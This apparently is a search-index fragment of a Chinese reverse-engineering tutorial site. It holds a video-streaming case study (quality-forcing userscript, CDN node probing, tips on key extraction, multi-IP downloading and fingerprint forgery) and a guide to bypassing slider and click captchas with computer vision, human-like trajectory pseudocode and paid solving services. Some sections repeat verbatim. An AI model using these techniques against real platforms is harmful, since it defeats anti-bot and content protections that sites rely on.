document.querySelector(\"video\"); if (player) { obs.disconnect(); forceHighestQuality(); } }); observer.observe(document.body, { childList: true, subtree: true, }); function forceHighestQuality() { // 方法 1: 修改 HTMLMediaElement const video = document.querySelector(\"video\"); Object.defineProperty(video, \"playbackQuality\", { get: function () { return { totalVideoFrames: 10000, droppedVideoFrames: 0, corruptedVideoFrames: 0, }; }, }); // 方法 2: Hook hls.js if (window.Hls) { const originalLoadSource = Hls.prototype.loadSource; Hls.prototype.loadSource = function (url) { // 强制加载最高质量的 m3u8 url = url.replace(/\\d+p\\.m3u8/, \"2160p.m3u8\"); return originalLoadSource.call(this, url); }; // 禁用自动质量切换 const player = new Hls({ autoStartLoad: true, startLevel: -1, // -1 表示最高质量 capLevelToPlayerSize: false, // 不限制质量 }); } console.log(\"Forced to highest quality\"); } })(); ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:5:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#3-tampermonkey-用户脚本"},{"categories":null,"collections":null,"content":"Python 实现 - 模拟 ABR 算法 class VideoQualitySelector: def __init__(self): self.qualities = [ {'name': '360p', 'width': 640, 'height': 360, 'bitrate': 800000}, {'name': '720p', 'width': 1280, 'height': 720, 'bitrate': 2500000}, {'name': '1080p', 'width': 1920, 'height': 1080, 'bitrate': 5000000}, {'name': '4K', 'width': 3840, 'height': 2160, 'bitrate': 15000000}, ] self.current_quality = 1 # 默认 720p def estimate_bandwidth(self, download_history): \"\"\"估算当前带宽\"\"\" if not download_history: return 5000000 # 默认 5 Mbps # 使用最近 5 次下载的平均速度 recent = download_history[-5:] total_bytes = sum(d['bytes'] for d in recent) total_time = sum(d['time'] for d in recent) if total_time == 0: return 5000000 return (total_bytes * 8) / total_time # bps def select_quality(self, bandwidth, buffer_level, force_highest=False): \"\"\"选择合适的视频质量\"\"\" if force_highest: return len(self.qualities) - 1 # 缓冲区不足，降级 if buffer_level \u003c 5: return max(0, self.current_quality - 1) # 选择最高可用质量（带宽 \u003e 比特率 * 1.5） for i in range(len(self.qualities) - 1, -1, -1): if bandwidth \u003e= self.qualities[i]['bitrate'] * 1.5: # 避免频繁切换（最多一次变化一级） if abs(i - self.current_quality) \u003c= 1: self.current_quality = i return i return self.current_quality def get_quality_url(self, base_url, quality_index): \"\"\"获取指定质量的播放地址\"\"\" quality = self.qualities[quality_index] return f\"{base_url}/{quality['name']}.m3u8\" # 使用示例 selector = VideoQualitySelector() # 模拟下载历史 download_history = [ {'bytes': 1000000, 'time': 1.5}, # ~5.3 Mbps {'bytes': 1200000, 'time': 1.8}, # ~5.3 Mbps {'bytes': 1500000, 'time': 2.0}, # 6 Mbps ] bandwidth = selector.estimate_bandwidth(download_history) quality_index = selector.select_quality( bandwidth=bandwidth, buffer_level=10, # 10 秒缓冲 force_highest=True # 强制最高质量 ) print(f\"Selected quality: {selector.qualities[quality_index]['name']}\") ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:5:3","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#python-实现---模拟-abr-算法"},{"categories":null,"collections":null,"content":"案例 5: CDN 节点发现与优选 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:6:0","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#案例-5-cdn-节点发现与优选"},{"categories":null,"collections":null,"content":"背景 视频平台使用多个 CDN 节点分发内容。逆向节点选择逻辑，可以找到最快的下载节点。 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:6:1","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#背景-4"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 CDN 调度 DNS 解析: cdn.example.com -\u003e CNAME -\u003e geo.cdn.example.com geo.cdn.example.com -\u003e A 记录: - 1.2.3.4 (北京节点) - 5.6.7.8 (上海节点) - 9.10.11.12 (广州节点) HTTP 重定向: GET /video/abc123.mp4 HTTP/1.1 302 Found Location: https://bj-cdn01.example.com/video/abc123.mp4 2. JavaScript 节点选择逻辑 class CDNSelector { constructor() { this.nodes = [ { id: \"bj-01\", url: \"https://bj-cdn01.example.com\", region: \"beijing\" }, { id: \"sh-01\", url: \"https://sh-cdn01.example.com\", region: \"shanghai\" }, { id: \"gz-01\", url: \"https://gz-cdn01.example.com\", region: \"guangzhou\" }, ]; this.selectedNode = null; } async selectBestNode(testFile = \"/ping.txt\") { /** * 节点选择策略: * 1. 并发测试所有节点的延迟 * 2. 选择延迟最低的节点 * 3. 缓存结果 5 分钟 */ const results = await Promise.all( this.nodes.map((node) =\u003e this.testNode(node, testFile)) ); // 按延迟排序 results.sort((a, b) =\u003e a.latency - b.latency); this.selectedNode = results[0].node; console.log( `Selected CDN node: ${this.selectedNode.id} (${results[0].latency}ms)` ); return this.selectedNode; } async testNode(node, testFile) { const start = performance.now(); try { await fetch(node.url + testFile, { method: \"HEAD\", cache: \"no-cache\", }); const latency = performance.now() - start; return { node, latency }; } catch (error) { return { node, latency: Infinity }; } } getVideoUrl(path) { if (!this.selectedNode) { throw new Error(\"No CDN node selected\"); } return this.selectedNode.url + path; } } 3. 多 CDN 源探测 某些平台会在不同 CDN 提供商之间分发: async function discoverCDNSources(videoId) { /** * 探测多个可能的 CDN 源 */ const cdnProviders = [ \"akamai.example.com\", \"cloudflare.example.com\", \"cloudfront.example.com\", \"fastly.example.com\", ]; const sources = []; for (const provider of cdnProviders) { const url = `https://${provider}/video/${videoId}.mp4`; try { const response = await fetch(url, { method: \"HEAD\" }); if (response.ok) { sources.push({ provider: provider, url: url, size: response.headers.get(\"Content-Length\"), server: response.headers.get(\"Server\"), }); } } catch (e) { // 该 CDN 不可用 } } return sources; } ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:6:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#逆向步骤-4"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 CDN 调度 DNS 解析: cdn.example.com -\u003e CNAME -\u003e geo.cdn.example.com geo.cdn.example.com -\u003e A 记录: - 1.2.3.4 (北京节点) - 5.6.7.8 (上海节点) - 9.10.11.12 (广州节点) HTTP 重定向: GET /video/abc123.mp4 HTTP/1.1 302 Found Location: https://bj-cdn01.example.com/video/abc123.mp4 2. JavaScript 节点选择逻辑 class CDNSelector { constructor() { this.nodes = [ { id: \"bj-01\", url: \"https://bj-cdn01.example.com\", region: \"beijing\" }, { id: \"sh-01\", url: \"https://sh-cdn01.example.com\", region: \"shanghai\" }, { id: \"gz-01\", url: \"https://gz-cdn01.example.com\", region: \"guangzhou\" }, ]; this.selectedNode = null; } async selectBestNode(testFile = \"/ping.txt\") { /** * 节点选择策略: * 1. 并发测试所有节点的延迟 * 2. 选择延迟最低的节点 * 3. 缓存结果 5 分钟 */ const results = await Promise.all( this.nodes.map((node) =\u003e this.testNode(node, testFile)) ); // 按延迟排序 results.sort((a, b) =\u003e a.latency - b.latency); this.selectedNode = results[0].node; console.log( `Selected CDN node: ${this.selectedNode.id} (${results[0].latency}ms)` ); return this.selectedNode; } async testNode(node, testFile) { const start = performance.now(); try { await fetch(node.url + testFile, { method: \"HEAD\", cache: \"no-cache\", }); const latency = performance.now() - start; return { node, latency }; } catch (error) { return { node, latency: Infinity }; } } getVideoUrl(path) { if (!this.selectedNode) { throw new Error(\"No CDN node selected\"); } return this.selectedNode.url + path; } } 3. 多 CDN 源探测 某些平台会在不同 CDN 提供商之间分发: async function discoverCDNSources(videoId) { /** * 探测多个可能的 CDN 源 */ const cdnProviders = [ \"akamai.example.com\", \"cloudflare.example.com\", \"cloudfront.example.com\", \"fastly.example.com\", ]; const sources = []; for (const provider of cdnProviders) { const url = `https://${provider}/video/${videoId}.mp4`; try { const response = await fetch(url, { method: \"HEAD\" }); if (response.ok) { sources.push({ provider: provider, url: url, size: response.headers.get(\"Content-Length\"), server: response.headers.get(\"Server\"), }); } } catch (e) { // 该 CDN 不可用 } } return sources; } ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:6:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#1-抓包分析-cdn-调度"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 CDN 调度 DNS 解析: cdn.example.com -\u003e CNAME -\u003e geo.cdn.example.com geo.cdn.example.com -\u003e A 记录: - 1.2.3.4 (北京节点) - 5.6.7.8 (上海节点) - 9.10.11.12 (广州节点) HTTP 重定向: GET /video/abc123.mp4 HTTP/1.1 302 Found Location: https://bj-cdn01.example.com/video/abc123.mp4 2. JavaScript 节点选择逻辑 class CDNSelector { constructor() { this.nodes = [ { id: \"bj-01\", url: \"https://bj-cdn01.example.com\", region: \"beijing\" }, { id: \"sh-01\", url: \"https://sh-cdn01.example.com\", region: \"shanghai\" }, { id: \"gz-01\", url: \"https://gz-cdn01.example.com\", region: \"guangzhou\" }, ]; this.selectedNode = null; } async selectBestNode(testFile = \"/ping.txt\") { /** * 节点选择策略: * 1. 并发测试所有节点的延迟 * 2. 选择延迟最低的节点 * 3. 缓存结果 5 分钟 */ const results = await Promise.all( this.nodes.map((node) =\u003e this.testNode(node, testFile)) ); // 按延迟排序 results.sort((a, b) =\u003e a.latency - b.latency); this.selectedNode = results[0].node; console.log( `Selected CDN node: ${this.selectedNode.id} (${results[0].latency}ms)` ); return this.selectedNode; } async testNode(node, testFile) { const start = performance.now(); try { await fetch(node.url + testFile, { method: \"HEAD\", cache: \"no-cache\", }); const latency = performance.now() - start; return { node, latency }; } catch (error) { return { node, latency: Infinity }; } } getVideoUrl(path) { if (!this.selectedNode) { throw new Error(\"No CDN node selected\"); } return this.selectedNode.url + path; } } 3. 多 CDN 源探测 某些平台会在不同 CDN 提供商之间分发: async function discoverCDNSources(videoId) { /** * 探测多个可能的 CDN 源 */ const cdnProviders = [ \"akamai.example.com\", \"cloudflare.example.com\", \"cloudfront.example.com\", \"fastly.example.com\", ]; const sources = []; for (const provider of cdnProviders) { const url = `https://${provider}/video/${videoId}.mp4`; try { const response = await fetch(url, { method: \"HEAD\" }); if (response.ok) { sources.push({ provider: provider, url: url, size: response.headers.get(\"Content-Length\"), server: response.headers.get(\"Server\"), }); } } catch (e) { // 该 CDN 不可用 } } return sources; } ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:6:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#2-javascript-节点选择逻辑"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析 CDN 调度 DNS 解析: cdn.example.com -\u003e CNAME -\u003e geo.cdn.example.com geo.cdn.example.com -\u003e A 记录: - 1.2.3.4 (北京节点) - 5.6.7.8 (上海节点) - 9.10.11.12 (广州节点) HTTP 重定向: GET /video/abc123.mp4 HTTP/1.1 302 Found Location: https://bj-cdn01.example.com/video/abc123.mp4 2. JavaScript 节点选择逻辑 class CDNSelector { constructor() { this.nodes = [ { id: \"bj-01\", url: \"https://bj-cdn01.example.com\", region: \"beijing\" }, { id: \"sh-01\", url: \"https://sh-cdn01.example.com\", region: \"shanghai\" }, { id: \"gz-01\", url: \"https://gz-cdn01.example.com\", region: \"guangzhou\" }, ]; this.selectedNode = null; } async selectBestNode(testFile = \"/ping.txt\") { /** * 节点选择策略: * 1. 并发测试所有节点的延迟 * 2. 选择延迟最低的节点 * 3. 缓存结果 5 分钟 */ const results = await Promise.all( this.nodes.map((node) =\u003e this.testNode(node, testFile)) ); // 按延迟排序 results.sort((a, b) =\u003e a.latency - b.latency); this.selectedNode = results[0].node; console.log( `Selected CDN node: ${this.selectedNode.id} (${results[0].latency}ms)` ); return this.selectedNode; } async testNode(node, testFile) { const start = performance.now(); try { await fetch(node.url + testFile, { method: \"HEAD\", cache: \"no-cache\", }); const latency = performance.now() - start; return { node, latency }; } catch (error) { return { node, latency: Infinity }; } } getVideoUrl(path) { if (!this.selectedNode) { throw new Error(\"No CDN node selected\"); } return this.selectedNode.url + path; } } 3. 多 CDN 源探测 某些平台会在不同 CDN 提供商之间分发: async function discoverCDNSources(videoId) { /** * 探测多个可能的 CDN 源 */ const cdnProviders = [ \"akamai.example.com\", \"cloudflare.example.com\", \"cloudfront.example.com\", \"fastly.example.com\", ]; const sources = []; for (const provider of cdnProviders) { const url = `https://${provider}/video/${videoId}.mp4`; try { const response = await fetch(url, { method: \"HEAD\" }); if (response.ok) { sources.push({ provider: provider, url: url, size: response.headers.get(\"Content-Length\"), server: response.headers.get(\"Server\"), }); } } catch (e) { // 该 CDN 不可用 } } return sources; } ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:6:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#3-多-cdn-源探测"},{"categories":null,"collections":null,"content":"Python 实现 - CDN 节点测速 import time import asyncio import aiohttp from typing import List, Dict class CDNOptimizer: def __init__(self, cdn_nodes: List[Dict]): \"\"\" cdn_nodes: [ {'id': 'bj-01', 'url': 'https://bj-cdn.example.com'}, {'id': 'sh-01', 'url': 'https://sh-cdn.example.com'}, ... ] \"\"\" self.cdn_nodes = cdn_nodes self.best_node = None async def test_node_latency(self, session, node, test_file='/ping.txt'): \"\"\"测试单个节点的延迟\"\"\" url = node['url'] + test_file try: start = time.time() async with session.head(url, timeout=5) as response: latency = (time.time() - start) * 1000 # ms return { 'node': node, 'latency': latency, 'status': response.status, 'server': response.headers.get('Server', 'Unknown') } except Exception as e: return { 'node': node, 'latency': float('inf'), 'status': 0, 'error': str(e) } async def test_node_bandwidth(self, session, node, test_size_mb=1): \"\"\"测试节点带宽\"\"\" # 下载测试文件（例如 1MB） test_url = f\"{node['url']}/speedtest/{test_size_mb}mb.bin\" try: start = time.time() async with session.get(test_url, timeout=30) as response: data = await response.read() duration = time.time() - start # 计算带宽 (Mbps) bandwidth = (len(data) * 8) / (duration * 1_000_000) return { 'node': node, 'bandwidth': bandwidth, 'duration': duration } except Exception as e: return { 'node': node, 'bandwidth': 0, 'error': str(e) } async def select_best_node(self, mode='latency'): \"\"\"选择最佳节点\"\"\" async with aiohttp.ClientSession() as session: if mode == 'latency': # 基于延迟选择 tasks = [ self.test_node_latency(session, node) for node in self.cdn_nodes ] results = await asyncio.gather(*tasks) # 排序并选择延迟最低的 results.sort(key=lambda x: x['latency']) self.best_node = results[0]['node'] print(f\"Best node (latency): {self.best_node['id']}\") for r in results[:3]: # 显示前 3 个 print(f\" {r['node']['id']}: {r['latency']:.2f}ms\") elif mode == 'bandwidth': # 基于带宽选择 tasks = [ self.test_node_bandwidth(session, node) for node in self.cdn_nodes ] results = await asyncio.gather(*tasks) # 排序并选择带宽最高的 results.sort(key=lambda x: x['bandwidth'], reverse=True) self.best_node = results[0]['node'] print(f\"Best node (bandwidth): {self.best_node['id']}\") for r in results[:3]: print(f\" {r['node']['id']}: {r['bandwidth']:.2f} Mbps\") return self.best_node def get_video_url(self, video_path): \"\"\"获取使用最佳节点的视频 URL\"\"\" if not self.best_node: raise Exception(\"Please select best node first\") return self.best_node['url'] + video_path # 使用示例 async def main(): cdn_nodes = [ {'id': 'bj-01', 'url': 'https://bj-cdn.example.com'}, {'id': 'sh-01', 'url': 'https://sh-cdn.example.com'}, {'id': 'gz-01', 'url': 'https://gz-cdn.example.com'}, {'id': 'sz-01', 'url': 'https://sz-cdn.example.com'}, ] optimizer = CDNOptimizer(cdn_nodes) # 方法 1: 基于延迟选择 await optimizer.select_best_node(mode='latency') # 方法 2: 基于带宽选择 # await optimizer.select_best_node(mode='bandwidth') # 获取视频 URL video_url = optimizer.get_video_url('/video/abc123.mp4') print(f\"Video URL: {video_url}\") # 运行 asyncio.run(main()) ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:6:3","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#python-实现---cdn-节点测速"},{"categories":null,"collections":null,"content":"高级技巧: 反向解析 CDN 节点 import dns.resolver import socket def discover_all_cdn_nodes(domain): \"\"\"通过 DNS 查询发现所有 CDN 节点\"\"\" nodes = [] try: # 解析 CNAME answers = dns.resolver.resolve(domain, 'CNAME') for rdata in answers: print(f\"CNAME: {rdata.target}\") # 解析 A 记录 a_records = dns.resolver.resolve(str(rdata.target), 'A') for a_rdata in a_records: ip = str(a_rdata) # 反向 DNS 查询获取节点名称 try: hostname = socket.gethostbyaddr(ip)[0] except: hostname = ip nodes.append({ 'ip': ip, 'hostname': hostname }) print(f\" -\u003e {ip} ({hostname})\") except Exception as e: print(f\"Error: {e}\") return nodes # 使用示例 nodes = discover_all_cdn_nodes('cdn.example.com') ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:6:4","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#高级技巧-反向解析-cdn-节点"},{"categories":null,"collections":null,"content":"防护与对抗总结 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:7:0","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#防护与对抗总结"},{"categories":null,"collections":null,"content":"平台防护措施 URL 签名: 时间戳 + 密钥签名 设备指纹: 绑定设备，限制并发 播放次数限制: 单个视频播放次数 DRM 保护: Widevine、PlayReady 动态密钥: 定期轮换加密密钥 水印技术: 溯源盗版视频 CDN 鉴权: Token 验证 流量分析: 检测异常下载行为 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:7:1","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#平台防护措施"},{"categories":null,"collections":null,"content":"逆向对抗技巧 自动化脚本: Selenium、Playwright 模拟真实用户 密钥提取: Frida Hook、内存扫描 协议分析: Wireshark、mitmproxy 代码混淆还原: AST 分析、符号执行 CDN 优选: 多节点测速、智能选择 分布式下载: 多账号、多 IP 并发 浏览器指纹伪造: 绕过设备检测 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:7:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#逆向对抗技巧"},{"categories":null,"collections":null,"content":"法律与道德声明 本文仅用于技术研究和教育目的。绕过视频平台的保护措施可能违反: 服务条款 (ToS) 数字千年版权法案 (DMCA) 计算机欺诈和滥用法 (CFAA) 各国知识产权法律 请仅在授权环境下进行安全测试，尊重内容创作者的权益。 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:8:0","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#法律与道德声明"},{"categories":null,"collections":null,"content":"工具推荐 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:9:0","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#工具推荐"},{"categories":null,"collections":null,"content":"视频下载工具 yt-dlp: 支持 1000+ 网站 you-get: 国内视频平台 N_m3u8DL-CLI: M3U8 专业下载器 streamlink: 直播流下载 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:9:1","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#视频下载工具"},{"categories":null,"collections":null,"content":"分析工具 Wireshark: 网络协议分析 Chrome DevTools: 浏览器调试 Frida: 动态分析 mitmproxy: HTTPS 代理 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:9:2","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#分析工具"},{"categories":null,"collections":null,"content":"解密工具 ffmpeg: 视频处理、转码 mp4decrypt: MP4 解密（Bento4） shaka-packager: DRM 封装/解封 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:9:3","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#解密工具"},{"categories":null,"collections":null,"content":"相关章节 浏览器 DevTools 使用 抓包与代理工具 JavaScript 反混淆 WebAssembly 逆向 前端加固技术 ","date":"2025-04-21","objectID":"/reverse_engineering/web/05-case-studies/case_video_streaming/:10:0","tags":["Web","Native层","签名验证","Frida","案例分析","WebAssembly"],"title":"视频网站逆向","uri":"/reverse_engineering/web/05-case-studies/case_video_streaming/#相关章节"},{"categories":null,"collections":null,"content":"验证码绕过技术：滑块与点选篇 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： 网络抓包技术 - 分析验证码请求与响应 Python 自动化 - 使用 Selenium/Playwright 模拟浏览器行为 滑块和点选（或称图标）验证码是现代 Web 应用中用于区分人类用户和自动化程序（机器人）的常见手段。与传统的字符输入验证码相比，它们更注重于分析用户的\"行为特征\"。本文旨在详细介绍绕过这两类验证码的主流技术和核心思想。 ","date":"2025-04-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/:0:0","tags":["SSL Pinning","加密分析","Android","Selenium","验证码","Root检测"],"title":"验证码绕过技术：滑块与点选篇","uri":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/#验证码绕过技术滑块与点选篇"},{"categories":null,"collections":null,"content":"验证码核心机制 滑块验证码 目标: 用户需要将滑块拖动到背景图的缺口位置。 验证重点: 结果准确性: 滑块最终停留的位置是否在缺口的目标容差范围内。 行为可信度: (更重要) 用户的鼠标轨迹是否像人。一个由程序生成的、匀速的、完美的直线轨迹几乎肯定会被判定为机器人。 点选验证码 目标: 根据提示，按顺序点击图片中的一个或多个汉字、图标或物体。 验证重点: 识别准确性: 是否能正确识别并点击目标。 行为可信度: 点击的坐标、间隔时间、鼠标移动轨迹是否自然。 ","date":"2025-04-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/:0:1","tags":["SSL Pinning","加密分析","Android","Selenium","验证码","Root检测"],"title":"验证码绕过技术：滑块与点选篇","uri":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/#验证码核心机制"},{"categories":null,"collections":null,"content":"验证码核心机制 滑块验证码 目标: 用户需要将滑块拖动到背景图的缺口位置。 验证重点: 结果准确性: 滑块最终停留的位置是否在缺口的目标容差范围内。 行为可信度: (更重要) 用户的鼠标轨迹是否像人。一个由程序生成的、匀速的、完美的直线轨迹几乎肯定会被判定为机器人。 点选验证码 目标: 根据提示，按顺序点击图片中的一个或多个汉字、图标或物体。 验证重点: 识别准确性: 是否能正确识别并点击目标。 行为可信度: 点击的坐标、间隔时间、鼠标移动轨迹是否自然。 ","date":"2025-04-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/:0:1","tags":["SSL Pinning","加密分析","Android","Selenium","验证码","Root检测"],"title":"验证码绕过技术：滑块与点选篇","uri":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/#滑块验证码"},{"categories":null,"collections":null,"content":"验证码核心机制 滑块验证码 目标: 用户需要将滑块拖动到背景图的缺口位置。 验证重点: 结果准确性: 滑块最终停留的位置是否在缺口的目标容差范围内。 行为可信度: (更重要) 用户的鼠标轨迹是否像人。一个由程序生成的、匀速的、完美的直线轨迹几乎肯定会被判定为机器人。 点选验证码 目标: 根据提示，按顺序点击图片中的一个或多个汉字、图标或物体。 验证重点: 识别准确性: 是否能正确识别并点击目标。 行为可信度: 点击的坐标、间隔时间、鼠标移动轨迹是否自然。 ","date":"2025-04-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/:0:1","tags":["SSL Pinning","加密分析","Android","Selenium","验证码","Root检测"],"title":"验证码绕过技术：滑块与点选篇","uri":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/#点选验证码"},{"categories":null,"collections":null,"content":"绕过策略一：模拟人类行为 这是最主流、最根本的绕过方法，其核心是尽可能地模仿人类操作的不完美性。 步骤 1: 目标识别 (计算机视觉) 在模拟操作之前，程序需要先像人一样\"看懂\"验证码。 对于滑块验证码 (缺口识别): 常用库: OpenCV (Python)。 方法一：边缘检测: 获取带缺口的背景图和不带缺口的完整背景图（通常可以从网络请求中找到）。 使用 Canny 等边缘检测算法分别处理两张图片。 对比两张图的边缘差异，差异最显著的区域就是缺口的位置。 方法二：模板匹配: 从网络请求或页面元素中获取到独立的\"滑块\"图片。 将滑块图片作为\"模板\"，在带缺口的背景图上进行模板匹配 (cv2.matchTemplate)。匹配度最高的地方就是缺口的起始 X 坐标。 对于点选验证码 (目标识别): 如果目标是固定的文字或图标，可以采用与滑块类似的模板匹配方法。 如果目标是变化的、复杂的，例如\"请点击图中所有的公交车\"，则需要依赖更高级的机器学习模型（见策略二）。 步骤 2: 轨迹模拟 (核心关键) 这是整个绕过过程的灵魂。一个好的轨迹模拟算法需要考虑以下几点，以欺骗服务器端的行为分析模型： 非线性移动: 绝对不能是 (x1, y1) 到 (x2, y2) 的直线。路径需要是带有弧度的曲线。 变速移动: 模拟人类操作的肌肉控制，轨迹应该是\"慢-快-慢\"的模式。 初段加速: 初始移动速度较慢。 中段匀速/加速: 中间过程速度加快。 末段减速: 接近目标时，速度会显著减慢，进行微调。 随机抖动: 在主轨迹的基础上，叠加微小的、随机的 Y 轴（有时也包括 X 轴）偏移，模拟手部自然的抖动。 超越与回退: 有时可以模拟\"拖过头了一点点，再往回拉\"的行为，这会极大地增加轨迹的可信度。 停顿: 在拖动过程中可以加入短暂的、随机时长的停顿。 实现示例 (伪代码): def generate_human_like_track(target_distance): track = [] current_pos = 0 # Movement pattern: accelerate first, then decelerate while current_pos \u003c target_distance: # 1. Calculate movement step size for current phase (non-uniform speed) if current_pos \u003c target_distance * 0.7: step = random.uniform(2, 4) # Acceleration phase else: step = random.uniform(0.5, 2) # Deceleration and fine-tuning phase # 2. Add random jitter y_offset = random.uniform(-1, 1) # 3. Record trajectory point track.append((step, y_offset, random.uniform(10, 50))) # (x step, y offset, time interval ms) current_pos += step # (Optional) Add \"overshoot and pull back\" trajectory points # ... return track 适用场景: 需要从一张大图中识别并定位多个不规则物体的点选验证码（例如，“选出所有的红绿灯”）。 方法: 数据标注: 收集大量的验证码图片，并手动标注出需要识别的物体（如\"红绿灯\"、“公交车”）。 模型训练: 使用标注好的数据集训练一个目标检测模型，如 YOLOv5 或 SSD。 推理: 在实际绕过时，将验证码图片输入到训练好的模型中，模型会返回所有识别到的目标的位置坐标。 后续操作: 拿到坐标后，再结合上一节的\"轨迹模拟\"方法去点击。 第三方打码平台 概念: 将识别验证码这一专业任务外包给第三方服务。这些平台背后通常是大量的人工或者更强大的 AI 模型。 代表服务: 2Captcha, Anti-Captcha 等。 工作流程: 注册并充值。 通过 API 将验证码图片（或任务描述）发送给平台。 平台返回结果（如滑块的 X 坐标，或点选目标的坐标序列）。 你的程序拿到结果后，再执行后续的模拟操作。 优点: 成功率极高，能解决几乎所有类型的验证码，无需自己维护复杂的识别模型。 缺点: 需要付费，存在隐私和安全风险（将数据发给第三方），有网络延迟。 ","date":"2025-04-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/:0:2","tags":["SSL Pinning","加密分析","Android","Selenium","验证码","Root检测"],"title":"验证码绕过技术：滑块与点选篇","uri":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/#绕过策略一模拟人类行为"},{"categories":null,"collections":null,"content":"绕过策略一：模拟人类行为 这是最主流、最根本的绕过方法，其核心是尽可能地模仿人类操作的不完美性。 步骤 1: 目标识别 (计算机视觉) 在模拟操作之前，程序需要先像人一样\"看懂\"验证码。 对于滑块验证码 (缺口识别): 常用库: OpenCV (Python)。 方法一：边缘检测: 获取带缺口的背景图和不带缺口的完整背景图（通常可以从网络请求中找到）。 使用 Canny 等边缘检测算法分别处理两张图片。 对比两张图的边缘差异，差异最显著的区域就是缺口的位置。 方法二：模板匹配: 从网络请求或页面元素中获取到独立的\"滑块\"图片。 将滑块图片作为\"模板\"，在带缺口的背景图上进行模板匹配 (cv2.matchTemplate)。匹配度最高的地方就是缺口的起始 X 坐标。 对于点选验证码 (目标识别): 如果目标是固定的文字或图标，可以采用与滑块类似的模板匹配方法。 如果目标是变化的、复杂的，例如\"请点击图中所有的公交车\"，则需要依赖更高级的机器学习模型（见策略二）。 步骤 2: 轨迹模拟 (核心关键) 